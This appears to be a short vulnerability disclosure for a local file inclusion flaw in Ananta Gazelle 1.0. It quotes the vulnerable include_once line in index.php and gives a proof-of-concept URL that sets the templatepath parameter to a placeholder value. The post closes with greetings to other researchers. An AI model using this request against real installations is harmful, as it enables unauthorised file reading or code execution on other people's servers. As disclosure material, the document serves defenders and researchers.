============================================================================================================================ | # Title : Ananta Gazelle 1.0 LFI Vulnerability | | # Author : indoushka | | # Telegram : @indoushka | | # Tested on : windows 10 Fr V.(Pro) | | # Vendor : http://sourceforge.net/projects/ananta/files/stable/Gazelle 1.0 stable/Ananta_Gazelle1.0.zip/ | | # Dork : n/a | ============================================================================================================================ poc : index.php line 163 include_once($templatepath."/index.php"); http://127.0.0.1/gazolina/index.php?templatepath= ev!l Greetz :---------------------------------------------------------------------------------------- | jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic | | ================================================================================================